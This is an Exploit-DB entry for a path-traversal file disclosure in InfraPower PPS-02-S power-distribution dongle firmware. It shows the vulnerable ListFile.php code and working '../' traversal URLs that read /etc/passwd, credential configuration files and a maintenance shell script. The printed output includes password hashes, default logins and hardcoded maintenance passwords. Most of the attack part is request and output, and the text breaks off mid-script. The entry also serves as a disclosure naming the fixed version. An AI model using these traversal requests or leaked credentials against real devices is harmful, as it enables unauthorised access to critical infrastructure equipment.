Exploit-DB #40642
Description: InfraPower PPS-02-S Q213V1 - Local File Disclosure
Type: webapps
Platform: php
Date: 2016-10-28
Author: LiquidWorm

Exploit:
InfraPower PPS-02-S Q213V1 Local File Disclosure Vulnerability


Vendor: Austin Hughes Electronics Ltd.
Product web page: http://www.austin-hughes.com
Affected version: Q213V1 (Firmware: V2395S)
Fixed version: Q216V3 (Firmware: IPD-02-FW-v03)

Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each
IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs.
Patented IP Dongle provides IP remote access to the PDUs by a true
network IP address chain. Only 1xIP dongle allows access to max. 16
PDUs in daisy chain - which is a highly efficient cient application
for saving not only the IP remote accessories cost, but also the true
IP addresses required on the PDU management.

Desc: InfraPower suffers from a file disclosure vulnerability when
input passed thru the 'file' parameter to 'ListFile.php' script is
not properly verified before being used to read files. This can
be exploited to disclose contents of files from local resources.

-------------------------------------------------------------------
ListFile.php:
-------------

8: if(isset($_GET['file'])){
9: 	   $handle = $_GET['file'];
10:    $fp = fopen('/ramdisk/'.$handle, 'r');
11:    while(!feof($fp)){
12:        $tmp=fgets($fp,2000);
13:        $tmp = str_replace("\n","<br />",$tmp);
14:        echo $tmp;
15:    }
16:    fclose($fp);
17: }

-------------------------------------------------------------------


Tested on: Linux 2.6.28 (armv5tel)
           lighttpd/1.4.30-devel-1321
           PHP/5.3.9
           SQLite/3.7.10


Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic
                           @zeroscience


Advisory ID: ZSL-2016-5370
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5370.php


27.09.2016

--


http://192.168.0.17/ListFile.php?file=../../../../../../../etc/passwd

root:4g.6AafvEPx9M:0:0:root:/:/sbin/root_shell.sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
admin:4g.6AafvEPx9M:1000:1000:Linux User,,,:/home:/bin/login_script
user:4g.6AafvEPx9M:1001:1001:Linux User,,,:/home:/bin/login_Script
service:AsZLenpCPzc0o:0:0:root:/www:/sbin/menu_shell.sh
www:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www:/sbin/menu_shell.sh
www2:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www2:/sbin/menu_shell.sh


http://192.168.0.17/ListFile.php?file=../../../../../../../etc/web_conf

LoginAuth 1
UserName 00000000
Password 00000000


http://192.168.0.17/ListFile.php?file=../../../../../../../mnt/mtd/password_conf

dmin 999999
manager 666666
user 111111


http://192.168.0.17/ListFile.php?file=../../../../../../../sbin/maintenance_shell.sh

#!/bin/sh
echo -n "Please enter maintenance password:"
read -s pass
InfraType=`cat /mnt/mtd/main_conf | grep "InfraType" | cut -d " " -f 2`
if [ "$InfraType" == "1" ]; then
if [ "$pass" != "InfraSolution" ]; then
echo "Invalid maintenance password!"
exit 0
fi
else
if [ "$InfraType" == "2" ]; then
if [ "$pass" != "InfraGuard" ]; then
echo "Invalid maintenance password!"
exit 0
fi
else
if [ "$InfraType" == "3" ]; then
if [ "$pass" != "InfraPower" ]; then
echo "Invalid maintenance password!"
exit 0
fi
else
if [ "$InfraType" == "4" ]; then
if [ "$pass" != "InfraCool" ]; then
echo "Invalid maintenance password!"
exit 0
fi
else
#---emergency recovery mode
echo "DEBUG su mode started!"
su
fi
fi
fi
fi

# create menu
echo ""
echo "***********************************************"
echo "* Maintenance Menu *"
echo "***********************************************"
echo "(1) View(vi) /mnt/mtd/main_conf "
echo "(2) View /mnt/mtd/snmp_conf "
echo "(3) View /mnt/mtd/net_conf "
echo "(4) View /mnt/mtd/web_conf "
echo "(5) Enable auto patching(boot.sh) on bootup "
echo "(6) Disable auto patching(boot.sh) on bootup "
echo "(7) Clear all patching (/mnt/mtd/patch/) "
echo "(8) Update /www/patch/ to /mnt/mtd/patch/ "
echo "(9) Process Monitoring "
echo "(A) Patch SNMP "
echo "(B) Restore Configuration "
echo "(P) Restore INI, POL profiles "
echo "(E) Execute command line "
echo "(M) View meminfo "
echo "(X) Terminal console mode "
echo "(R) Reboot "
echo "(?) This menu "
echo "(Q) Exit "
echo "***********************************************"
while true; do
echo -n "Input Maintenance menu item number(? for help):"
read y
case $y in
"?")
echo ""
echo "***********************************************"
echo "* Maintenance Menu *"
echo "***********************************************"
echo "(1) View(vi) /mnt/mtd/main_conf "
echo "(2) View /mnt/mtd/snmp_conf "
echo "(3) View /mnt/mtd/net_conf "
echo "(4) View /mnt/mtd/web_conf "
echo "(5) Enable auto patching(boot.sh) on bootup "
echo "(6) Disable auto patching(boot.sh) on bootup "
echo "(7) Clear all patching (/mnt/mtd/patch/) "
echo "(8) Update /www/patch/ to /mnt/mtd/patch/ "
echo "(9) Process Monitoring "
echo "(A) Patch SNMP "
echo "(B) Restore Configuration "
echo "(P) Restore INI, POL profiles "
echo "(E) Execute command line "
echo "(M) View meminfo "
echo "(X) Terminal console mode "
echo "(R) Reboot "
echo "(?) This menu "
echo "(Q) Exit "
echo "***********************************************"
;;
"1")
echo "****/mnt/mtd/main_conf******************************"
vi /mnt/mtd/main_conf
echo "****************************************************"
;;
"2")
echo "****/mnt/mtd/snmp_conf******************************"
cat /mnt/mtd/snmp_conf
echo "****************************************************"
;;
"3")
echo "****/mnt/mtd/net_conf*******************************"
cat /mnt/mtd/net_conf
echo "************************************************